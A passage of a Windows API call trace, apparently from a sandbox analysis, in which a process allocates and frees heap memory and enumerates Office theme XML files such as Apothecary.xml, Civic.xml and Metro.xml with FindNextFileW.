RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.920] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009be8 [0068.920] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1023fb8 [0068.920] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.920] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe09100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe09100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.xml", cAlternateFileName="")) returned 1 [0068.920] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.920] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.920] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.920] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.920] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.921] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009c08 [0068.921] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10240c0 [0068.921] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.921] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.xml", cAlternateFileName="")) returned 1 [0068.921] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.921] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.921] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.921] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.921] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.921] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009c28 [0068.921] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10241c8 [0068.921] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.921] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211be00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x211be00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.xml", cAlternateFileName="")) returned 1 [0068.921] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.921] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.921] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.921] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.921] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.921] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009c48 [0068.921] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10242d0 [0068.922] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.922] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ead00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ead00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xefb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.xml", cAlternateFileName="")) returned 1 [0068.922] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.922] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.922] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.922] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.922] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.922] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009c68 [0068.922] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10243d8 [0068.922] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.922] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.xml", cAlternateFileName="")) returned 1 [0068.922] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.922] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.922] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.922] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.922] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.922] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009c88 [0068.922] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10244e0 [0068.922] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.922] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x342eb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x342eb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.xml", cAlternateFileName="")) returned 1 [0068.923] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.923] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.923] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.923] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.923] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.923] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009ca8 [0068.923] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10245e8 [0068.923] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.923] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11910700, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11910700, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.xml", cAlternateFileName="")) returned 1 [0068.923] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.923] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.923] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.923] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.923] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.923] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009cc8 [0068.923] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10246f0 [0068.923] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.923] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeefeee00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeefeee00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.xml", cAlternateFileName="")) returned 1 [0068.923] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.923] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.924] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.924] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.924] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.924] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009ce8 [0068.924] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10247f8 [0068.924] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.924] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13f36100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x13f36100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xefc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.xml", cAlternateFileName="")) returned 1 [0068.924] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.924] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.924] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.924] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.924] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.924] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009d08 [0068.924] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1024900 [0068.924] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.924] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15248e00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15248e00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe48, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.xml", cAlternateFileName="")) returned 1 [0068.924] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.924] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.924] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.924] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.924] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.925] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009d28 [0068.925] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1024a08 [0068.925] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.925] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0301b00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0301b00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xef5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.xml", cAlternateFileName="")) returned 1 [0068.925] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.925] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.925] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.925] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.925] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.925] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009d48 [0068.925] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1030a40 [0068.926] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.926] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4741800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4741800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.xml", cAlternateFileName="")) returned 1 [0068.926] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.926] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.926] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.926] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.926] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.926] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009d68 [0068.926] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1030b48 [0068.926] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.926] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1655bb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1655bb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.xml", cAlternateFileName="")) returned 1 [0068.926] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.926] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.926] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.926] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.926] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.926] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009d88 [0068.926] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1030c50 [0068.926] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2d00) returned 0x1038a28 [0068.927] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x102dd60) returned 1 [0068.927] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.927] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2927500, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2927500, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xdb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.xml", cAlternateFileName="")) returned 1 [0068.927] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.927] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.927] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.927] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.927] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.927] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009da8 [0068.927] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1030d58 [0068.927] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.927] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1614800, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1614800, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.xml", cAlternateFileName="")) returned 1 [0068.927] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.927] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.927] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.927] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.927] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.927] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009dc8 [0068.927] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1030e60 [0068.927] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.927] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a54500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a54500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.xml", cAlternateFileName="")) returned 1 [0068.928] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.928] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.928] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.928] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.928] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.928] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009de8 [0068.928] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1030f68 [0068.928] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.928] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d67200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xf09, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.xml", cAlternateFileName="")) returned 1 [0068.928] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.928] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.928] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.928] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.928] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.928] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009e08 [0068.928] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1031070 [0068.928] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.928] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1786e800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1786e800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.xml", cAlternateFileName="")) returned 1 [0068.928] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.928] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.928] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.929] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.929] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.929] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff0c60 [0068.929] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1031178 [0068.929] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.929] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c3a200, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3c3a200, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.xml", cAlternateFileName="")) returned 1 [0068.929] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.929] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.929] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.929] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.929] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.929] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff0c80 [0068.929] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1031280 [0068.929] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.929] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f4cf00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f4cf00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe13, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.xml", cAlternateFileName="")) returned 1 [0068.929] 